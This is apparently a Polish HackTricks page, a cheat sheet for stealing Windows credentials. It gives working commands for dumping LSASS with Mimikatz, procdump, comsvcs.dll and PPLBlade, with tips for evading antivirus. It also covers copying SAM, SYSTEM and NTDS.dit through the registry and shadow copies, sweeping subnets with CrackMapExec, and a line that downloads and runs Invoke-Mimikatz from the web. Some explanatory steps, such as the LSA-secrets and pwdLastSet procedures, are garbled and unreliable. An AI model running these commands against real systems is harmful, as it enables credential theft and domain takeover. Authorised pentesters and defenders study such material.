22 KiB
Kradzież poświadczeń systemu Windows
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć reklamę swojej firmy w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCYJNY!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do repozytoriów HackTricks i HackTricks Cloud na GitHubie.
Mimikatz - Kradzież poświadczeń
#Elevate Privileges to extract the credentials
privilege::debug #This should give am error if you are Admin, butif it does, check if the SeDebugPrivilege was removed from Admins
token::elevate
#Extract from lsass (memory)
sekurlsa::logonpasswords
#Extract from lsass (service)
lsadump::lsa /inject
#Extract from SAM
lsadump::sam
#One liner
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"
Znajdź inne rzeczy, które Mimikatz może zrobić na tej stronie.
Invoke-Mimikatz
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds #Dump creds from memory
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"'
Dowiedz się tutaj o niektórych możliwych zabezpieczeniach danych uwierzytelniających. Te zabezpieczenia mogą zapobiec wydobyciu niektórych danych uwierzytelniających przez Mimikatz.
Dane uwierzytelniające z Meterpreter
Użyj wtyczki Credentials, którą stworzyłem, aby przeszukać ofiarę w poszukiwaniu haseł i skrótów.
#Credentials from SAM
post/windows/gather/smart_hashdump
hashdump
#Using kiwi module
load kiwi
creds_all
kiwi_cmd "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam"
#Using Mimikatz module
load mimikatz
mimikatz_command -f "sekurlsa::logonpasswords"
mimikatz_command -f "lsadump::lsa /inject"
mimikatz_command -f "lsadump::sam"
Omijanie AV
Procdump + Mimikatz
Ponieważ Procdump od SysInternals jest legalnym narzędziem Microsoftu, nie jest wykrywany przez Defendera.
Możesz użyć tego narzędzia do zrzutu procesu lsass, pobrania zrzutu i wydobycia danych uwierzytelniających lokalnie z zrzutu.
{% code title="Zrzut lsass" %}
#Local
C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
#Remote, mount https://live.sysinternals.com which contains procdump.exe
net use Z: https://live.sysinternals.com
Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
{% code title="Wyodrębnianie poświadczeń z dumpa" %}
//Load the dump
mimikatz # sekurlsa::minidump lsass.dmp
//Extract credentials
mimikatz # sekurlsa::logonPasswords
{% endcode %}
Ten proces jest wykonywany automatycznie za pomocą SprayKatz: ./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24
Uwaga: Niektóre AV mogą wykryć jako szkodliwe użycie procdump.exe do zrzutu lsass.exe, ponieważ wykrywają ciągi "procdump.exe" i "lsass.exe". Dlatego jest bardziej skryte przekazać jako argument PID lsass.exe do procdump zamiast nazwy lsass.exe.
Zrzucanie lsass za pomocą comsvcs.dll
Biblioteka DLL o nazwie comsvcs.dll znajdująca się w C:\Windows\System32
jest odpowiedzialna za zrzucanie pamięci procesu w przypadku awarii. Ta biblioteka DLL zawiera funkcję o nazwie MiniDumpW
, która jest uruchamiana za pomocą rundll32.exe
.
Pierwsze dwa argumenty są nieistotne, ale trzeci argument składa się z trzech składników. Pierwszy składnik to identyfikator procesu, który ma zostać zrzutowany, drugi składnik to lokalizacja pliku zrzutu, a trzeci składnik to wyłącznie słowo full. Nie istnieją żadne alternatywne opcje.
Po analizie tych trzech składników biblioteka DLL tworzy plik zrzutu i przenosi pamięć określonego procesu do tego pliku.
Wykorzystanie biblioteki comsvcs.dll jest możliwe do zrzucania procesu lsass, eliminując tym samym konieczność przesyłania i uruchamiania procdump. Metoda ta jest szczegółowo opisana pod adresem https://en.hackndo.com/remote-lsass-dump-passwords/.
Do wykonania używane jest następujące polecenie:
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full
Ten proces można zautomatyzować za pomocą lssasy.
Wykonywanie zrzutu lsass za pomocą Menedżera zadań
- Kliknij prawym przyciskiem myszy na pasku zadań i wybierz Menedżer zadań.
- Kliknij na "Więcej szczegółów".
- W zakładce Procesy wyszukaj proces "Local Security Authority Process".
- Kliknij prawym przyciskiem myszy na procesie "Local Security Authority Process" i wybierz "Utwórz plik zrzutu".
Wykonywanie zrzutu lsass za pomocą procdump
Procdump to podpisany przez Microsoft plik binarny, który jest częścią pakietu sysinternals.
Get-Process -Name LSASS
.\procdump.exe -ma 608 lsass.dmp
Dumpowanie lsass za pomocą PPLBlade
PPLBlade to narzędzie do dumpowania chronionych procesów, które obsługuje zaciemnianie dumpów pamięci i przesyłanie ich na zdalne stanowiska robocze bez zapisywania ich na dysku.
Główne funkcje:
- Omijanie ochrony PPL
- Zaciemnianie plików dumpu pamięci w celu uniknięcia wykrycia przez mechanizmy sygnatur antywirusowych Defendera
- Przesyłanie dumpu pamięci za pomocą metod RAW i SMB bez zapisywania go na dysku (bezplikowy dump)
{% code overflow="wrap" %}
PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234
{% endcode %}
CrackMapExec
Wydobywanie haszy SAM
CrackMapExec to narzędzie do testowania penetracyjnego, które można użyć do wydobywania haszy z bazy danych SAM w systemach Windows. Hasze SAM są przechowywane lokalnie na komputerze i zawierają uwierzytelnienie użytkowników systemu. Wydobywanie tych haszy może umożliwić złamanie haseł i uzyskanie dostępu do kont użytkowników. Aby wydobyć hasze SAM za pomocą CrackMapExec, wykonaj następujące kroki:
- Uruchom CrackMapExec na swoim systemie.
- Użyj polecenia
cme smb <target> -u <username> -p <password>
do nawiązania połączenia z docelowym systemem za pomocą protokołu SMB. - Wykonaj polecenie
hashdump
w celu wydobywania haszy SAM z systemu. - Otrzymane hasze można następnie użyć do próby złamania haseł lub do innych celów testowania penetracyjnego.
Wydobywanie haszy SAM jest przydatnym narzędziem w procesie testowania penetracyjnego, ponieważ umożliwia identyfikację słabych haseł i potencjalne podatności w systemach Windows. Pamiętaj jednak, że wydobywanie haszy bez zgody właściciela systemu jest nielegalne i może prowadzić do konsekwencji prawnych. Zawsze przestrzegaj odpowiednich przepisów i zasad etycznych podczas korzystania z narzędzi do testowania penetracyjnego.
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam
Wykradanie sekretów LSA
Opis
Wykradanie sekretów LSA (Local Security Authority) to technika polegająca na pozyskiwaniu poufnych informacji przechowywanych w systemie Windows. Sekrety LSA obejmują m.in. hasła użytkowników, klucze szyfrujące, tokeny uwierzytelniające i certyfikaty.
Kroki
-
Uruchom narzędzie
mimikatz
na docelowym systemie Windows. -
Wprowadź polecenie
privilege::debug
, aby uzyskać uprawnienia debugowania. -
Wykonaj polecenie
sekurlsa::logonpasswords
, aby wyświetlić poufne informacje uwierzytelniania. -
Zapisz wyświetlone dane, aby móc je przeanalizować później.
Uwagi
-
Ta technika wymaga uprawnień administratora lub uprawnień debugowania.
-
Wykradanie sekretów LSA jest nielegalne i narusza prywatność innych osób. Używaj tej techniki tylko w celach edukacyjnych lub zgodnie z prawem.
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa
Wydobądź plik NTDS.dit z docelowego kontrolera domeny (DC)
Aby wydobędź plik NTDS.dit z docelowego kontrolera domeny (DC), możesz użyć narzędzia ntdsutil
. Narzędzie to jest wbudowane w systemy Windows Server i umożliwia dostęp do bazy danych Active Directory.
- Zaloguj się na docelowy kontroler domeny (DC) jako administrator.
- Otwórz wiersz polecenia jako administrator.
- Uruchom narzędzie
ntdsutil
, wpisując polecenientdsutil
i naciskając Enter. - Wewnątrz narzędzia
ntdsutil
, wpisz polecenieactivate instance ntds
i naciśnij Enter. - Następnie wpisz polecenie
ifm
i naciśnij Enter, aby przejść do trybu tworzenia plików instalacyjnych. - Wpisz polecenie
create full <ścieżka_do_folderu_docelowego>
, gdzie<ścieżka_do_folderu_docelowego>
to ścieżka do folderu, w którym chcesz zapisać plik NTDS.dit. Naciśnij Enter, aby rozpocząć proces tworzenia plików instalacyjnych. - Po zakończeniu procesu, plik NTDS.dit zostanie wyodrębniony i zapisany w wybranym folderze.
Pamiętaj, że wydobycie pliku NTDS.dit z kontrolera domeny wymaga uprawnień administratora i jest związane z potencjalnymi ryzykami. Wykorzystuj te informacje zgodnie z prawem i tylko w celach, które są zgodne z etycznym testowaniem penetracyjnym.
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
#~ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss
Wydobądź historię haseł NTDS.dit z docelowego kontrolera domeny (DC)
Aby wydobyć historię haseł NTDS.dit z docelowego kontrolera domeny (DC), wykonaj następujące kroki:
- Uruchom narzędzie
ntdsutil
na docelowym DC. - Wpisz polecenie
activate instance ntds
. - Następnie wpisz polecenie
ifm
. - Wybierz katalog docelowy, w którym chcesz zapisać skopiowane pliki.
- Wpisz polecenie
create full C:\path\to\output\folder
. - Poczekaj, aż proces kopiowania zostanie zakończony.
- Przejdź do katalogu, w którym zapisałeś skopiowane pliki.
- Otwórz plik
ntds.dit
przy użyciu narzędziaesedbexport
. - Wydobądź historię haseł, korzystając z narzędzia
dsusers.py
lub innego narzędzia do analizy bazy danych NTDS.dit.
Pamiętaj, że wydobycie historii haseł NTDS.dit z docelowego DC wymaga uprawnień administratora.
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history
Pokaż atrybut pwdLastSet dla każdego konta NTDS.dit
Aby wyświetlić atrybut pwdLastSet dla każdego konta NTDS.dit, wykonaj następujące kroki:
- Otwórz wiersz polecenia jako administrator.
- Uruchom narzędzie
ntdsutil
, wpisującntdsutil
i naciskając Enter. - Wprowadź polecenie
activate instance ntds
, a następnie naciśnij Enter. - Wprowadź polecenie
ifm
, a następnie naciśnij Enter. - Wprowadź polecenie
create full C:\path\to\destination
, gdzieC:\path\to\destination
to ścieżka do miejsca, w którym chcesz zapisać pliki NTDS.dit i SYSTEM. - Po zakończeniu procesu tworzenia kopii zapasowej, wprowadź polecenie
quit
, a następnie naciśnij Enter. - Wprowadź polecenie
quit
, a następnie naciśnij Enter, aby wyjść z narzędziantdsutil
. - Przejdź do miejsca, w którym zapisałeś pliki NTDS.dit i SYSTEM.
- Uruchom narzędzie
esedbexport
, wpisującesedbexport ntds.dit
, a następnie naciskając Enter. - Wyświetl atrybut pwdLastSet dla każdego konta NTDS.dit, wykonując polecenie
dsquery * -filter "(objectCategory=Person)" -attr pwdLastSet
.
Teraz będziesz mógł zobaczyć atrybut pwdLastSet dla każdego konta NTDS.dit.
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet
Kradzież plików SAM i SYSTEM
Te pliki powinny być znajdują się w C:\windows\system32\config\SAM i C:\windows\system32\config\SYSTEM. Jednak nie możesz ich po prostu skopiować w standardowy sposób, ponieważ są one chronione.
Z rejestru
Najprostszym sposobem na kradzież tych plików jest skopiowanie ich z rejestru:
reg save HKLM\sam sam
reg save HKLM\system system
reg save HKLM\security security
Pobierz te pliki na swoje urządzenie Kali i wyodrębnij hashe za pomocą:
samdump2 SYSTEM SAM
impacket-secretsdump -sam sam -security security -system system LOCAL
Kopiowanie woluminu cieni
Możesz wykonać kopię chronionych plików za pomocą tej usługi. Musisz być administratorem.
Używanie vssadmin
Plik binarny vssadmin jest dostępny tylko w wersjach systemu Windows Server.
vssadmin create shadow /for=C:
#Copy SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SAM
#Copy SYSTEM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SYSTEM
#Copy ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\Extracted\ntds.dit
# You can also create a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
Ale to samo można zrobić za pomocą Powershell. Oto przykład jak skopiować plik SAM (dysk twardy używany to "C:" i jest zapisywany w C:\users\Public), ale można to zastosować do kopiowania dowolnego chronionego pliku:
$service=(Get-Service -name VSS)
if($service.Status -ne "Running"){$notrunning=1;$service.Start()}
$id=(gwmi -list win32_shadowcopy).Create("C:\","ClientAccessible").ShadowID
$volume=(gwmi win32_shadowcopy -filter "ID='$id'")
cmd /c copy "$($volume.DeviceObject)\windows\system32\config\sam" C:\Users\Public
$voume.Delete();if($notrunning -eq 1){$service.Stop()}
Kod z książki: https://0xword.com/es/libros/99-hacking-windows-ataques-a-sistemas-y-redes-microsoft.html
Invoke-NinjaCopy
Ostatecznie, można również użyć skryptu PS Invoke-NinjaCopy, aby utworzyć kopię plików SAM, SYSTEM i ntds.dit.
Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam"
Aktywne poświadczenia Active Directory - NTDS.dit
Plik NTDS.dit jest znany jako serce Active Directory i przechowuje kluczowe dane dotyczące obiektów użytkowników, grup i ich przynależności. To tutaj przechowywane są hasze haseł dla użytkowników domeny. Ten plik jest bazą danych Extensible Storage Engine (ESE) i znajduje się w lokalizacji %SystemRoom%/NTDS/ntds.dit.
W tej bazie danych utrzymywane są trzy główne tabele:
- Tabela danych: Ta tabela przechowuje szczegóły dotyczące obiektów, takich jak użytkownicy i grupy.
- Tabela powiązań: Śledzi relacje, takie jak przynależność do grupy.
- Tabela SD: Tutaj przechowywane są deskryptory zabezpieczeń dla każdego obiektu, zapewniające bezpieczeństwo i kontrolę dostępu do przechowywanych obiektów.
Więcej informacji na ten temat: http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/
System Windows używa Ntdsa.dll do interakcji z tym plikiem, a jest on używany przez lsass.exe. Część pliku NTDS.dit może znajdować się w pamięci lsass
(można znaleźć najnowsze dane dostępne prawdopodobnie ze względu na poprawę wydajności za pomocą pamięci podręcznej).
Odszyfrowywanie haszy wewnątrz NTDS.dit
Hasz jest szyfrowany 3 razy:
- Odszyfrowanie klucza szyfrowania hasła (PEK) za pomocą BOOTKEY i RC4.
- Odszyfrowanie hasza za pomocą PEK i RC4.
- Odszyfrowanie hasza za pomocą DES.
PEK ma tą samą wartość na każdym kontrolerze domeny, ale jest szyfrowany wewnątrz pliku NTDS.dit za pomocą BOOTKEY z pliku SYSTEM kontrolera domeny (różni się między kontrolerami domeny). Dlatego aby uzyskać poświadczenia z pliku NTDS.dit, potrzebujesz plików NTDS.dit i SYSTEM (C:\Windows\System32\config\SYSTEM).
Kopiowanie NTDS.dit za pomocą narzędzia Ntdsutil
Dostępne od Windows Server 2008.
ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit
Możesz również użyć sztuczki z kopią woluminu cieni, aby skopiować plik ntds.dit. Pamiętaj, że będziesz również potrzebować kopii pliku SYSTEM (ponownie, wydobądź go z rejestru lub użyj sztuczki z kopią woluminu cieni).
Wydobywanie hashy z pliku NTDS.dit
Gdy już uzyskasz pliki NTDS.dit i SYSTEM, możesz użyć narzędzi takich jak secretsdump.py, aby wydobyć hashy:
secretsdump.py LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt
Możesz również wydobyć je automatycznie za pomocą ważnego użytkownika administratora domeny:
secretsdump.py -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER>
Dla dużych plików NTDS.dit zaleca się ich wyodrębnienie za pomocą gosecretsdump.
Ostatecznie, można również użyć modułu metasploit: post/windows/gather/credentials/domain_hashdump lub mimikatz lsadump::lsa /inject
Wyodrębnianie obiektów domeny z pliku NTDS.dit do bazy danych SQLite
Obiekty NTDS mogą być wyodrębniane do bazy danych SQLite za pomocą ntdsdotsqlite. Wyodrębniane są nie tylko tajemnice, ale także całe obiekty i ich atrybuty, co umożliwia dalsze wyodrębnianie informacji, gdy już uzyskano surowy plik NTDS.dit.
ntdsdotsqlite ntds.dit -o ntds.sqlite --system SYSTEM.hive
SYSTEM
hive jest opcjonalny, ale umożliwia odszyfrowanie sekretów (haszów NT i LM, uzupełniających poświadczeń, takich jak hasła w czystym tekście, kluczy kerberos lub zaufania, historii haseł NT i LM). Oprócz innych informacji, wyodrębniane są następujące dane: konta użytkowników i maszyn z ich haszami, flagi UAC, znaczniki czasu ostatniego logowania i zmiany hasła, opisy kont, nazwy, UPN, SPN, grupy i rekurencyjne przynależności, drzewo jednostek organizacyjnych i przynależność, zaufane domeny z typem, kierunkiem i atrybutami zaufania...
Lazagne
Pobierz binarny plik stąd tutaj. Możesz użyć tego pliku binarnego do wyodrębnienia poświadczeń z różnych oprogramowań.
lazagne.exe all
Inne narzędzia do wydobywania poświadczeń z plików SAM i LSASS
Windows credentials Editor (WCE)
To narzędzie można użyć do wydobycia poświadczeń z pamięci. Pobierz je z: http://www.ampliasecurity.com/research/windows-credentials-editor/
fgdump
Wydobywaj poświadczenia z pliku SAM
You can find this binary inside Kali, just do: locate fgdump.exe
fgdump.exe
PwDump
Wyodrębnij poświadczenia z pliku SAM
You can find this binary inside Kali, just do: locate pwdump.exe
PwDump.exe -o outpwdump -x 127.0.0.1
type outpwdump
PwDump7
Pobierz go z: http://www.tarasco.org/security/pwdump_7 i po prostu uruchom go, a hasła zostaną wyodrębnione.
Obrona
Dowiedz się tutaj o niektórych zabezpieczeniach danych uwierzytelniających.
Dowiedz się o hakowaniu AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.